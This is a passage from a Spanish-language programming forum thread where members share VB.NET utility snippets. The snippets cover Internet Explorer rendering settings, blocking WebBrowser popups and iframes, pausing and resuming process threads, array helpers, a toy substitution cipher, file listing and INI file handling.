  3.    ' [ Set IExplorer Rendering Mode ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' Set_IExplorer_Rendering_Mode(IExplorer_Renders.IE10)
  9.    ' Set_IExplorer_Rendering_Mode(IExplorer_Renders.IE10_DOCTYPE, "Application.exe")
  10.  
  11.    Public Enum IExplorer_Renders As Int16
  12.        IE10 = 10001         ' Internet Explorer 10. Webpages are displayed in IE10 Standards mode, regardless of the !DOCTYPE directive.
  13.        IE10_DOCTYPE = 10000 ' Internet Explorer 10. Webpages containing standards-based !DOCTYPE directives are displayed in IE10 Standards mode. Default value for Internet Explorer 10.
  14.        IE9 = 9999           ' Internet Explorer 9. Webpages are displayed in IE9 Standards mode, regardless of the !DOCTYPE directive.
  15.        IE9_DOCTYPE = 9000   ' Internet Explorer 9. Webpages containing standards-based !DOCTYPE directives are displayed in IE9 mode.
  16.        IE8 = 8888           ' Webpages are displayed in IE8 Standards mode, regardless of the !DOCTYPE directive.
  17.        IE8_DOCTYPE = 8000   ' Webpages containing standards-based !DOCTYPE directives are displayed in IE8 mode.
  18.        IE7 = 7000           ' Webpages containing standards-based !DOCTYPE directives are displayed in IE7 Standards mode.
  19.    End Enum
  20.  
  21.    Private Sub Set_IExplorer_Rendering_Mode(ByVal IExplorer_Render As IExplorer_Renders, _
  22.                                             Optional ByVal Application_Name As String = Nothing)
  23.  
  24.        If Application_Name Is Nothing Then Application_Name = Process.GetCurrentProcess().ProcessName & ".exe"
  25.  
  26.        Try
  27.            My.Computer.Registry.SetValue( _
  28.            "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION", _
  29.            Application_Name, IExplorer_Render, Microsoft.Win32.RegistryValueKind.DWord)
  30.        Catch ex As Exception
  31.            MsgBox(ex.Message)
  32.        End Try
  33.  
  34.    End Sub
  35.  
  36. #End Region





Bloquear popups en un webbrowser

Código
  1.        Private Sub WebBrowser_NewWindow(ByVal sender As Object, ByVal e As System.ComponentModel.CancelEventArgs) _
  2.        Handles WebBrowser1.NewWindow
  3.           e.Cancel = True
  4.       End Sub





Bloquear iFrames en un webbrowser

Código
  1.    Private Sub WebBrowser_DocumentCompleted(sender As Object, e As WebBrowserDocumentCompletedEventArgs) _
  2.    Handles WebBrowser1.DocumentCompleted
  3.  
  4.        For Each element As HtmlElement In CType(sender, WebBrowser).Document.GetElementsByTagName("iframe")
  5.            element.OuterHtml = String.Empty
  6.            Application.DoEvents()
  7.        Next
  8.  
  9.    End Sub


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 7 Junio 2013, 21:14 pm
Devuelve la versión instalada de InternetExplorer en el PC:

Código
  1. #Region " Get IExplorer Version "
  2.  
  3.    ' [ Get IExplorer Version Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    '
  9.    ' MsgBox(Get_IExplorer_Version)       ' Result: 8
  10.    ' MsgBox(Get_IExplorer_Version(True)) ' Result: 8.00.7600.16385
  11.  
  12.    Private Function Get_IExplorer_Version(Optional ByVal Long_Version As Boolean = False) As String
  13.  
  14.        Try
  15.            If Long_Version Then
  16.                Return FileVersionInfo.GetVersionInfo(Environment.GetFolderPath(Environment.SpecialFolder.System) & "\ieframe.dll").ProductVersion
  17.            Else
  18.                Return FileVersionInfo.GetVersionInfo(Environment.GetFolderPath(Environment.SpecialFolder.System) & "\ieframe.dll").ProductVersion.Split(".").First
  19.            End If
  20.        Catch ex As Exception
  21.            MsgBox(ex.Message)
  22.            Return 0
  23.        End Try
  24.  
  25.    End Function
  26.  
  27. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 7 Junio 2013, 21:40 pm
Ahora me pongo yo critico, y para que coño quiero saber la versión de mi IE? XD

Hombre, se me ocurren ideas tal como parchear algunos errores en los webbrowsers pero, es poca cosa... xD


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 8 Junio 2013, 04:43 am
Ahora me pongo yo critico, y para que coño quiero saber la versión de mi IE? XD

Hombre, se me ocurren ideas tal como parchear algunos errores en los webbrowsers pero, es poca cosa... xD

La idea es conocer la versión de IExplorer de otro PC que no sea el tuyo/mio para anticiparse a posibles errores, por ejemplo si te pagan por una aplicación y quieres usar el render de IE10 en un webbrowser pero ese PC tiene IE8 pues...cagada, no?

Un saludo!


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 8 Junio 2013, 06:49 am
Suspender o continuar un proceso externo:

43773s3tAoA

(Corregido un pequeño bug de última hora en la función "resume-thread" al comprobar si existia el proceso en el diccionario.)
Código
  1. #Region " Pause-Resume Thread Class "
  2.  
  3. Public Class Process_Thread
  4.  
  5.    ' [ Pause-Resume Thread Functions ]
  6.    '
  7.    ' // By Elektro H@cker
  8.    '
  9.    ' Examples :
  10.    '
  11.    ' Process_Thread.Pause_Thread("ffmpeg.exe")       ' Pause  ffmpeg.exe (with thread 0)
  12.    ' Process_Thread.Resume_Thread("ffmpeg.exe")      ' Resume ffmpeg.exe (with thread 0)
  13.    ' Process_Thread.Pause_Thread("cmd.exe", , True)  ' Pause  all instances of cmd.exe (with thread 0)
  14.    ' Process_Thread.Resume_Thread("cmd.exe", , True) ' Resume all instances of cmd.exe (with thread 0)
  15.    ' Process_Thread.Pause_Thread("Process.exe", 2)   ' Pause the thread 2 of "Process.exe"
  16.    ' Process_Thread.Resume_Thread("Process.exe", 2)  ' Resume the thread 2 of "Process.exe"
  17.  
  18.    <System.Runtime.InteropServices.DllImport("kernel32.dll")> _
  19.    Private Shared Function OpenThread(ByVal dwDesiredAccess As Integer, ByVal bInheritHandle As Boolean, ByVal dwThreadId As UInt32) As IntPtr
  20.    End Function
  21.  
  22.    <System.Runtime.InteropServices.DllImport("kernel32.dll")> _
  23.    Private Shared Function SuspendThread(hThread As IntPtr) As UInteger
  24.    End Function
  25.  
  26.    <System.Runtime.InteropServices.DllImport("kernel32.dll")> _
  27.    Private Shared Function ResumeThread(hThread As IntPtr) As UInt32
  28.    End Function
  29.  
  30.    <System.Runtime.InteropServices.DllImport("kernel32.dll", SetLastError:=True)> _
  31.    Private Shared Function CloseHandle(ByVal hObject As IntPtr) As <System.Runtime.InteropServices.MarshalAs(System.Runtime.InteropServices.UnmanagedType.Bool)> Boolean
  32.    End Function
  33.  
  34.    ''' <summary>
  35.    ''' Dictionary to store the current paused threads.
  36.    ''' </summary>
  37.    Public Shared Thread_Handle_Dictionary As New Dictionary(Of String, IntPtr)
  38.  
  39. #Region " Pause Thread "
  40.  
  41.    ''' <summary>
  42.    ''' Function to pause a thread.
  43.    ''' </summary>
  44.    '''
  45.    ''' <param name="Process_Name">The name of the process, ex: cmd.exe</param>
  46.    ''' <param name="Thread_Number">The thread to pause, ex: 0</param>
  47.    ''' <param name="Recursive"> <value name="True">Pause the thread in all processes found recursively.</value></param>
  48.    ''' <returns>True if the process is found; otherwise, False.</returns>
  49.    Public Shared Function Pause_Thread(ByRef Process_Name As String, _
  50.                                  Optional ByVal Thread_Number As Int32 = 0, _
  51.                                  Optional ByVal Recursive As Boolean = False) As Boolean
  52.  
  53.        If Process_Name.ToLower.EndsWith(".exe") Then _
  54.        Process_Name = Process_Name.Substring(0, Process_Name.Length - 4)
  55.  
  56.        Dim proc() As Process = Process.GetProcessesByName(Process_Name)
  57.  
  58.        If Not proc.Length = 0 Then
  59.  
  60.            If Recursive Then
  61.  
  62.                For proc_num As Integer = 0 To proc.Length - 1
  63.                    Try
  64.                        Thread_Handle_Dictionary.Add(Process_Name.ToLower & Thread_Number.ToString & ";" & proc(proc_num).Handle.ToString, _
  65.                                                     OpenThread(&H2, True, proc(proc_num).Threads(Thread_Number).Id))
  66.                        SuspendThread(Thread_Handle_Dictionary.Item(Process_Name.ToLower & Thread_Number.ToString & ";" & proc(proc_num).Handle.ToString))
  67.                        Application.DoEvents()
  68.                    Catch ex As Exception
  69.                        MsgBox(ex.Message) ' The handle already exist in the Dictionary.
  70.                        Return False
  71.                    End Try
  72.                Next
  73.  
  74.            Else
  75.  
  76.                Try
  77.                    Thread_Handle_Dictionary.Add(Process_Name.ToLower & Thread_Number.ToString & ";" & proc(0).Handle.ToString, _
  78.                                                 OpenThread(&H2, True, proc(0).Threads(Thread_Number).Id))
  79.                    SuspendThread(Thread_Handle_Dictionary.Item(Process_Name.ToLower & Thread_Number.ToString & ";" & proc(0).Handle.ToString))
  80.                Catch ex As Exception
  81.                    MsgBox(ex.Message) ' The handle already exist in the Dictionary.
  82.                    Return False
  83.                End Try
  84.  
  85.            End If
  86.  
  87.        Else ' proc.Length = 0
  88.  
  89.            Throw New Exception("Process """ & Process_Name & """ not found.")
  90.            Return False
  91.  
  92.        End If
  93.  
  94.        Return True
  95.  
  96.    End Function
  97.  
  98. #End Region
  99.  
  100. #Region " Resume Thread "
  101.  
  102.    ''' <summary>
  103.    ''' Function to resume a thread.
  104.    ''' </summary>
  105.    '''
  106.    ''' <param name="Process_Name">The name of the process, ex: cmd.exe</param>
  107.    ''' <param name="Thread_Number">The thread to resume, ex: 0</param>
  108.    ''' <param name="Recursive"> <value name="True">Resume the thread in all processes found recursively.</value></param>
  109.    ''' <returns>True if the process is found; otherwise, False.</returns>
  110.    Public Shared Function Resume_Thread(ByRef Process_Name As String, _
  111.                                  Optional ByVal Thread_Number As Int32 = 0, _
  112.                                  Optional ByVal Recursive As Boolean = False) As Boolean
  113.  
  114.        If Process_Name.ToLower.EndsWith(".exe") Then _
  115.        Process_Name = Process_Name.Substring(0, Process_Name.Length - 4)
  116.  
  117.        Dim Process_Exist As Boolean = False ' To check if process exist in the dictionary.
  118.  
  119.        Dim Temp_Dictionary As New Dictionary(Of String, IntPtr) ' Replic of the "Thread_Handle_Dictionary" dictionary.
  120.  
  121.        For Each Process In Thread_Handle_Dictionary
  122.            If Process.Key.StartsWith(Process_Name.ToLower & Thread_Number.ToString) Then Process_Exist = True
  123.            Temp_Dictionary.Add(Process.Key, Process.Value)
  124.        Next
  125.  
  126.        If Process_Exist Then
  127.  
  128.            If Recursive Then
  129.                For Each Process In Temp_Dictionary
  130.                    If Process.Key.ToLower.Contains(Process_Name.ToLower & Thread_Number.ToString) Then
  131.                        ResumeThread(Process.Value)
  132.                        CloseHandle(Process.Value)
  133.                        Thread_Handle_Dictionary.Remove(Process.Key)
  134.                    End If
  135.                    Application.DoEvents()
  136.                Next
  137.            Else
  138.  
  139.                For Each Process In Temp_Dictionary
  140.                    If Process.Key.ToLower.Contains(Process_Name.ToLower & Thread_Number.ToString) Then
  141.                        ResumeThread(Process.Value)
  142.                        CloseHandle(Process.Value)
  143.                        Thread_Handle_Dictionary.Remove(Process.Key)
  144.                        Exit For
  145.                    End If
  146.                    Application.DoEvents()
  147.                Next
  148.  
  149.            End If
  150.  
  151.            Return True
  152.  
  153.        Else
  154.  
  155.            Throw New Exception("Process """ & Process_Name & """ with thread number """ & Thread_Number & """ not found.")
  156.            Return False
  157.  
  158.        End If
  159.  
  160.    End Function
  161.  
  162. #End Region
  163.  
  164. End Class
  165.  
  166. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 9 Junio 2013, 18:59 pm
Resalta en colores la sintaxis de un script.
(Lo convierte a código HTML)

http://colorcode.codeplex.com/releases/view/103657

(http://img69.imageshack.us/img69/6953/captura1bz.png)

Código
  1. #Region " [ColorCode] Color Code "
  2.  
  3.    ' [ColorCode] Color Code
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Instructions:
  8.    ' 1. Add a reference to ColorCode.dll
  9.    '
  10.    ' Examples:
  11.    ' HtmlTextBox1.Text = Color_Code(IO.File.ReadAllText("c:\Code.vb"), ColorCode.Languages.VbDotNet)
  12.    ' HtmlTextbox1.Text = Color_Code(IO.File.ReadAllText("c:\Code.cs"), ColorCode.Languages.CSharp)
  13.  
  14.    Private Function Color_Code(ByVal Code As String, ByVal Language As ColorCode.ILanguage) As String
  15.        Return New ColorCode.CodeColorizer().Colorize(Code, Language)
  16.    End Function
  17.  
  18. #End Region




Randomizar el contenido de un Array de tipo String:

Código
  1. #Region " Randomize String Array "
  2.  
  3.    ' [ Randomize String Array Function ]
  4.    '
  5.    ' Examples :
  6.    ' Dim MyArray As Array = Randomize_String_Array({"a", "b", "c", "d", "e"}) ' Result: {"d", "a", "c", "e", "b"}
  7.  
  8.    Dim Array_randomizer As New Random
  9.  
  10.    Private Function Randomize_String_Array(ByVal array() As String) As Array
  11.        Return array.OrderBy(Function() Array_randomizer.Next).ToArray
  12.    End Function
  13.  
  14. #End Region




Randomizar el contenido de cualquier tipo de Array:

Código
  1. #Region " Randomize Array "
  2.  
  3.    ' [ Randomize Array ]
  4.    '
  5.    ' Examples :
  6.    ' Dim strarray() As String = {"a", "b", "3"}
  7.    ' Dim IntArray As Array = {1, 2, 3}
  8.    ' Randomize_Array(strarray)
  9.    ' Randomize_Array(IntArray)
  10.  
  11.    Dim Array_Randomizer As New Random
  12.  
  13.    Public Sub Randomize_Array(ByVal array As Array)
  14.  
  15.        For i As Int64 = array.Length To 1 Step -1
  16.            Dim j As Int64 = Array_Randomizer.Next(i)
  17.            Dim tmp As Object = array(j)
  18.            array(j) = array(i - 1)
  19.            array(i - 1) = tmp
  20.        Next
  21.  
  22.    End Sub
  23.  
  24. #End Region




Une el contenido de un Array de cualquier tipo
(hace unos días posteé un código parecido, pero solo funcionaba para arrays de string)

Código
  1. #Region " Join Array "
  2.  
  3.    ' [ Join Array Function ]
  4.    '
  5.    ' Examples :
  6.    '
  7.    ' Dim StrArray() As String = {"a", "b", "c"} ' String array
  8.    ' Dim IntArray As Array = {1, 2, 3}          ' Integer array
  9.    ' MsgBox(Join_Array(StrArray, " "))          ' Result: a b c
  10.    ' MsgBox(Join_Array(IntArray, " "))          ' Result: 1 2 3
  11.  
  12.    Private Function Join_Array(ByVal array As Array, ByVal Separator As String)
  13.        Return String.Join(Separator, array.Cast(Of Object).Select(Function(x) x.ToString))
  14.    End Function
  15.  
  16. #End Region




cifrar-descifrar un string de manera selectiva (usando los caracteres que nos de la gana, por eso el código es así de largo)

Código
  1. #Region " Encrypt-Decrypt String Selective "
  2.  
  3.    ' [ Encrypt-Decrypt String Selective Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    '
  9.    ' MsgBox(Encrypt_Text("Hello world"))           ' Result: à`336 L6ë3m
  10.    ' MsgBox(Decrypt_Text("à`336 L6ë3m"))           ' Result: Hello world
  11.    ' MsgBox(Encrypt_Text("¡ Hello world !", True)) ' Result: = <ÁÍÍÀ cÀ,Í3 Ï
  12.    ' MsgBox(Decrypt_Text("= <ÁÍÍÀ cÀ,Í3 Ï", True)) ' Result: ¡ Hello world !
  13.  
  14.    Public Shared Function Encrypt_Text(ByVal str As String, _
  15.                                        Optional ByVal Include_Special_Characters As Boolean = False) As String
  16.  
  17.        Dim Temp_String As String = String.Empty
  18.        Dim Replacement_Found As Boolean = False
  19.  
  20.        Static Characters As Char()
  21.        Static Replacements As Char()
  22.  
  23.        If Include_Special_Characters Then
  24.            Characters = "abcdefghijklmnñopqrstuvwxyzABCDEFGHIJKLMNÑOPQRSTUVWXYZ0123456789áéíóúÁÉÍÓÚàèìòùÀÈÌÒÙäëïöüÄËÏÖÜçǺª<>¡!¿?()[]{}/\|·.:;,-+=_~¬^'`´¨*$%&€#@""".ToCharArray
  25.            Replacements = {"h", "ó", "Ó", "3", "Á", "è", "A", "^", "ö", "~", "O", "Í", "€", "q", "ú", "À", "Ç", "È", ",", "ì", "i", "ï", "ò", "c", "0", "ñ", "4", "l", "Ü", "ª", "¬", "S", "&", "?", "<", ":", "T", "*", "e", ".", "R", "É", "D", "7", "9", "Ú", "n", "¿", "L", "m", "¨", "Ë", "]", "Ä", "Q", "w", "V", "'", "G", "K", "é", "v", "ù", "}", "P", "E", "X", "+", "í", "´", "$", "{", "_", "Ñ", "u", "ë", "H", "g", "d", "x", "8", "/", "ä", "#", "|", "-", "1", "M", "Ò", "o", ")", "N", "Y", "á", "Ù", "Ì", "%", "ç", """", "a", "=", "Ï", "z", "Ö", ">", ";", "2", "6", "B", "y", "b", "`", "s", "5", "t", "[", "(", "à", "ü", "!", "¡", "f", "W", "k", "r", "U", "J", "·", "Z", "F", "C", "º", "I", "@", "p", "j"}
  26.        Else
  27.            Characters = _
  28.            "abcdefghijklmnñopqrstuvwxyzABCDEFGHIJKLMNÑOPQRSTUVWXYZ0123456789áéíóúÁÉÍÓÚàèìòùÀÈÌÒÙäëïöüÄËÏÖÜçǺª¡¿·¬`´¨€".ToCharArray
  29.            ' Removed chars for better improvement in code encryptation: = & + - ^ " % ' < > ( ) { } . $ [ ] ; @ ! ? ~ : / \ | * # , _
  30.  
  31.            Replacements = _
  32.            {"u", "Ñ", "T", "m", "`", "P", "Ç", "Z", "h", "x", "á", "3", "¬", "R", "ª", "6", "ò", "N", "ë", "Ì", "g", "ö", "I", "L", "a", "À", "·", "V", "5", "Ë", "Ù", "´", "Ö", "J", "à", "¡", "n", "4", "È", "j", "ç", "b", "c", "y", "E", "ù", "Ó", "f", "º", "Q", "q", "G", "e", "B", "0", "€", "9", "o", "ì", "O", "8", "¿", "r", "v", "ó", "2", "Ï", "1", "¨", "i", "Á", "D", "t", "Í", "k", "Ú", "C", "ñ", "Ä", "S", "A", "é", "7", "Ü", "K", "z", "í", "è", "Y", "ü", "F", "s", "p", "X", "U", "Ò", "l", "É", "ú", "d", "ï", "M", "W", "H", "ä", "w"}
  33.            '  a,   b,   c,   d,   e,   f,   g,   h,   i,   j,   k,   l,   m,   n,   ñ,   o,   p,   q,   r,   s,   t,   u,   v,   w,   x,   y,   z,   A,   B,   C,   D,   E,   F,   G,   H,   I,   J,   K,   L,   M,   N,   Ñ,   O,   P,   Q,   R,   S,   T,   U,   V,   W,   X,   Y,   Z,   0,   1,   2,   3,   4,   5,   6,   7,   8,   9,   á,   é,   í,   ó,   ú,   Á,   É,   Í,   Ó,   Ú,   à,   è,   ì,   ò,   ù,   À,   È,   Ì,   Ò,   Ù,   ä,   ë,   ï,   ö,   ü,   Ä,   Ë,   Ï,   Ö,   Ü,   ç,   Ç,   º,   ª,   ¡,   ¿,   ·,   ¬,   `,   ´,   ¨,   €
  34.        End If
  35.  
  36.        For Each character As Char In str
  37.  
  38.            For x As Int32 = 0 To Characters.Length - 1
  39.  
  40.                If character = Characters(x) Then
  41.                    Replacement_Found = True
  42.                    Temp_String &= Replacements(x)
  43.                    Exit For
  44.                End If
  45.  
  46.            Next
  47.  
  48.            If Not Replacement_Found Then Temp_String &= character Else Replacement_Found = False
  49.            Application.DoEvents()
  50.  
  51.        Next
  52.  
  53.        Return Temp_String
  54.  
  55.    End Function
  56.  
  57.    Public Shared Function Decrypt_Text(ByVal str As String, _
  58.                                        Optional ByVal Include_Special_Characters As Boolean = False) As String
  59.  
  60.        Dim Temp_String As String = String.Empty
  61.        Dim Replacement_Found As Boolean = False
  62.  
  63.        Static Characters As Char()
  64.        Static Replacements As Char()
  65.  
  66.        If Include_Special_Characters Then
  67.            Characters = {"h", "ó", "Ó", "3", "Á", "è", "A", "^", "ö", "~", "O", "Í", "€", "q", "ú", "À", "Ç", "È", ",", "ì", "i", "ï", "ò", "c", "0", "ñ", "4", "l", "Ü", "ª", "¬", "S", "&", "?", "<", ":", "T", "*", "e", ".", "R", "É", "D", "7", "9", "Ú", "n", "¿", "L", "m", "¨", "Ë", "]", "Ä", "Q", "w", "V", "'", "G", "K", "é", "v", "ù", "}", "P", "E", "X", "+", "í", "´", "$", "{", "_", "Ñ", "u", "ë", "H", "g", "d", "x", "8", "/", "ä", "#", "|", "-", "1", "M", "Ò", "o", ")", "N", "Y", "á", "Ù", "Ì", "%", "ç", """", "a", "=", "Ï", "z", "Ö", ">", ";", "2", "6", "B", "y", "b", "`", "s", "5", "t", "[", "(", "à", "ü", "!", "¡", "f", "W", "k", "r", "U", "J", "·", "Z", "F", "C", "º", "I", "@", "p", "j"}
  68.            Replacements = "abcdefghijklmnñopqrstuvwxyzABCDEFGHIJKLMNÑOPQRSTUVWXYZ0123456789áéíóúÁÉÍÓÚàèìòùÀÈÌÒÙäëïöüÄËÏÖÜçǺª<>¡!¿?()[]{}/\|·.:;,-+=_~¬^'`´¨*$%&€#@""".ToCharArray
  69.        Else
  70.            Characters = _
  71.            {"u", "Ñ", "T", "m", "`", "P", "Ç", "Z", "h", "x", "á", "3", "¬", "R", "ª", "6", "ò", "N", "ë", "Ì", "g", "ö", "I", "L", "a", "À", "·", "V", "5", "Ë", "Ù", "´", "Ö", "J", "à", "¡", "n", "4", "È", "j", "ç", "b", "c", "y", "E", "ù", "Ó", "f", "º", "Q", "q", "G", "e", "B", "0", "€", "9", "o", "ì", "O", "8", "¿", "r", "v", "ó", "2", "Ï", "1", "¨", "i", "Á", "D", "t", "Í", "k", "Ú", "C", "ñ", "Ä", "S", "A", "é", "7", "Ü", "K", "z", "í", "è", "Y", "ü", "F", "s", "p", "X", "U", "Ò", "l", "É", "ú", "d", "ï", "M", "W", "H", "ä", "w"}
  72.            '  a,   b,   c,   d,   e,   f,   g,   h,   i,   j,   k,   l,   m,   n,   ñ,   o,   p,   q,   r,   s,   t,   u,   v,   w,   x,   y,   z,   A,   B,   C,   D,   E,   F,   G,   H,   I,   J,   K,   L,   M,   N,   Ñ,   O,   P,   Q,   R,   S,   T,   U,   V,   W,   X,   Y,   Z,   0,   1,   2,   3,   4,   5,   6,   7,   8,   9,   á,   é,   í,   ó,   ú,   Á,   É,   Í,   Ó,   Ú,   à,   è,   ì,   ò,   ù,   À,   È,   Ì,   Ò,   Ù,   ä,   ë,   ï,   ö,   ü,   Ä,   Ë,   Ï,   Ö,   Ü,   ç,   Ç,   º,   ª,   ¡,   ¿,   ·,   ¬,   `,   ´,   ¨,   €
  73.  
  74.            Replacements = _
  75.             "abcdefghijklmnñopqrstuvwxyzABCDEFGHIJKLMNÑOPQRSTUVWXYZ0123456789áéíóúÁÉÍÓÚàèìòùÀÈÌÒÙäëïöüÄËÏÖÜçǺª¡¿·¬`´¨€".ToCharArray
  76.            ' Removed chars for better improvement in code encryptation: = & + - ^ " % ' < > ( ) { } . $ [ ] ; @ ! ? ~ : / \ | * # , _
  77.        End If
  78.  
  79.        For Each character As Char In str
  80.  
  81.            For x As Int32 = 0 To Characters.Length - 1
  82.  
  83.                If character = Characters(x) Then
  84.                    Replacement_Found = True
  85.                    Temp_String &= Replacements(x)
  86.                    Exit For
  87.                End If
  88.  
  89.            Next
  90.  
  91.            If Not Replacement_Found Then Temp_String &= character Else Replacement_Found = False
  92.            Application.DoEvents()
  93.  
  94.        Next
  95.  
  96.        Return Temp_String
  97.  
  98.    End Function
  99.  
  100. #End Region



Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 11 Junio 2013, 11:56 am
Otro código de ORO:

Devuelve de la manera más eficaz y sencilla una lista de tipo FileInfo con todos los archivos de un directorio,
Le hice dos overloads para poder usar la función de varias maneras y evitar posibles errores en el "SearchPattern",
La función es "IgnoreCase", devuelve la extensión en uppercase y lowercase y todas las variantes posibles, en fin, esto es la perfección:

Código
  1. #Region " Get Files "
  2.  
  3.    ' [ Get Files Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    '
  9.    ' For Each file In Get_Files("C:\Windows", False) : MsgBox(file.Name) : Next
  10.    '
  11.    ' For Each file In Get_Files("C:\Windows", True, "dll")   : MsgBox(file.Name) : Next
  12.    ' For Each file In Get_Files("C:\Windows", True, ".dll")  : MsgBox(file.Name) : Next
  13.    ' For Each file In Get_Files("C:\Windows", True, "*.dll") : MsgBox(file.Name) : Next
  14.    '
  15.    ' For Each file In Get_Files("C:\Windows", False, {"dll", "ini"})     : MsgBox(file.Name) : Next
  16.    ' For Each file In Get_Files("C:\Windows", False, {".dll", ".ini"})   : MsgBox(file.Name) : Next
  17.    ' For Each file In Get_Files("C:\Windows", False, {"*.dll", "*.ini"}) : MsgBox(file.Name) : Next
  18.  
  19.    ' Get Files {directory} {recursive}
  20.    Private Function Get_Files(ByVal directory As String, ByVal recursive As Boolean) As List(Of IO.FileInfo)
  21.        Dim searchOpt As IO.SearchOption = If(recursive, IO.SearchOption.AllDirectories, IO.SearchOption.TopDirectoryOnly)
  22.        Return IO.Directory.GetFiles(directory, "*", searchOpt).Select(Function(p) New IO.FileInfo(p)).ToList
  23.    End Function
  24.  
  25.    ' Get Files {directory} {recursive} {ext}
  26.    Private Function Get_Files(ByVal directory As String, ByVal recursive As Boolean, ext As String) As List(Of IO.FileInfo)
  27.  
  28.        If ext.StartsWith("*") Then
  29.            ext = ext.Substring(1, ext.Length - 1)
  30.        ElseIf Not ext = "*" AndAlso Not ext.StartsWith(".") Then
  31.            ext = ("." & ext)
  32.        ElseIf ext = "*" Then
  33.            ext = Nothing
  34.        End If
  35.  
  36.        Dim searchOpt As IO.SearchOption = If(recursive, IO.SearchOption.AllDirectories, IO.SearchOption.TopDirectoryOnly)
  37.        Return IO.Directory.GetFiles(directory, "*" & ext, searchOpt).Select(Function(p) New IO.FileInfo(p)).ToList
  38.  
  39.    End Function
  40.  
  41.    ' Get Files {directory} {recursive} {exts()}
  42.    Private Function Get_Files(ByVal directory As String, ByVal recursive As Boolean, ParamArray exts() As String) As List(Of IO.FileInfo)
  43.  
  44.        Dim FileExts(exts.Count) As String
  45.        Dim ExtCount As Int32 = 0
  46.  
  47.        For Each ext In exts
  48.            If ext.StartsWith("*") Then
  49.                FileExts(ExtCount) = ext.Substring(1, ext.Length - 1)
  50.            ElseIf Not ext = "*" AndAlso Not ext.StartsWith(".") Then
  51.                FileExts(ExtCount) = ("." & ext)
  52.            ElseIf Not ext = "*" AndAlso ext.StartsWith(".") Then
  53.                FileExts(ExtCount) = ext
  54.            ElseIf ext = "*" Then
  55.                FileExts(ExtCount) = Nothing
  56.            End If
  57.            ExtCount += 1
  58.        Next
  59.  
  60.        Dim searchOpt As IO.SearchOption = If(recursive, IO.SearchOption.AllDirectories, IO.SearchOption.TopDirectoryOnly)
  61.        Dim filenameExtComparer As New FilenameExtensionComparer
  62.        Return IO.Directory.GetFiles(directory, "*", searchOpt).Where(Function(o) FileExts.Contains(IO.Path.GetExtension(o), filenameExtComparer)).Select(Function(p) New IO.FileInfo(p)).ToList
  63.  
  64.    End Function
  65.  
  66.    ' FilenameExtensionComparer
  67.    Public Class FilenameExtensionComparer : Implements IEqualityComparer(Of String)
  68.  
  69.        Public Function Equals1(s As String, t As String) As Boolean Implements IEqualityComparer(Of String).Equals
  70.            Return String.Compare(s, t, StringComparison.OrdinalIgnoreCase) = 0
  71.        End Function
  72.  
  73.        Public Function GetHashCode1(s As String) As Integer Implements IEqualityComparer(Of String).GetHashCode
  74.            Return s.GetHashCode()
  75.        End Function
  76.  
  77.    End Class
  78.  
  79. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 11 Junio 2013, 19:59 pm
Cargar o guardar valores fácilmente en un archivo INI:

Código
  1. #Region " INI Manager "
  2.  
  3. ' [ INI Manager Functions ]
  4. '
  5. ' // By Elektro H@cker
  6. '
  7. ' Examples :
  8. '
  9. ' INI_Manager.Set_Value(".\Test.ini", "TextValue", TextBox1.Text) ' Save
  10. ' TextBox1.Text = INI_Manager.Load_Value(".\Test.ini", "TextValue") ' Load
  11. ' INI_Manager.Delete_Value(".\Test.ini", "TextValue") ' Delete
  12. ' INI_Manager.Sort_Values(".\Test.ini") ' Sort INI File
  13.  
  14. Public Class INI_Manager
  15.  
  16.    ''' <summary>
  17.    ''' The INI File Location.
  18.    ''' </summary>
  19.    Public Shared INI_File As String = IO.Path.Combine(Application.StartupPath, Process.GetCurrentProcess().ProcessName & ".ini")
  20.  
  21.    ''' <summary>
  22.    ''' Set a value.
  23.    ''' </summary>
  24.    ''' <param name="File">The INI file location</param>
  25.    ''' <param name="ValueName">The value name</param>
  26.    ''' <param name="Value">The value data</param>
  27.    Public Shared Sub Set_Value(ByVal File As String, ByVal ValueName As String, ByVal Value As String)
  28.  
  29.        Try
  30.  
  31.            If Not IO.File.Exists(File) Then ' Create a new INI File with "Key=Value""
  32.  
  33.                My.Computer.FileSystem.WriteAllText(File, ValueName & "=" & Value, False)
  34.                Exit Sub
  35.  
  36.            Else ' Search line by line in the INI file for the "Key"
  37.  
  38.                Dim Line_Number As Int64 = 0
  39.                Dim strArray() As String = IO.File.ReadAllLines(File)
  40.  
  41.                For Each line In strArray
  42.                    If line.ToLower.StartsWith(ValueName.ToLower & "=") Then
  43.                        strArray(Line_Number) = ValueName & "=" & Value
  44.                        IO.File.WriteAllLines(File, strArray) ' Replace "value"
  45.                        Exit Sub
  46.                    End If
  47.                    Line_Number += 1
  48.                Next
  49.  
  50.                Application.DoEvents()
  51.  
  52.                My.Computer.FileSystem.WriteAllText(File, vbNewLine & ValueName & "=" & Value, True) ' Key don't exist, then create the new "Key=Value"
  53.  
  54.            End If
  55.  
  56.        Catch ex As Exception
  57.            MsgBox(ex.Message)
  58.        End Try
  59.  
  60.    End Sub
  61.  
  62.    ''' <summary>
  63.    ''' Load a value.
  64.    ''' </summary>
  65.    ''' <param name="File">The INI file location</param>
  66.    ''' <param name="ValueName">The value name</param>
  67.    ''' <returns>The value itself</returns>
  68.    Public Shared Function Load_Value(ByVal File As String, ByVal ValueName As String) As Object
  69.  
  70.        If Not IO.File.Exists(File) Then
  71.  
  72.            Throw New Exception(File & " not found.") ' INI File not found.
  73.            Return Nothing
  74.  
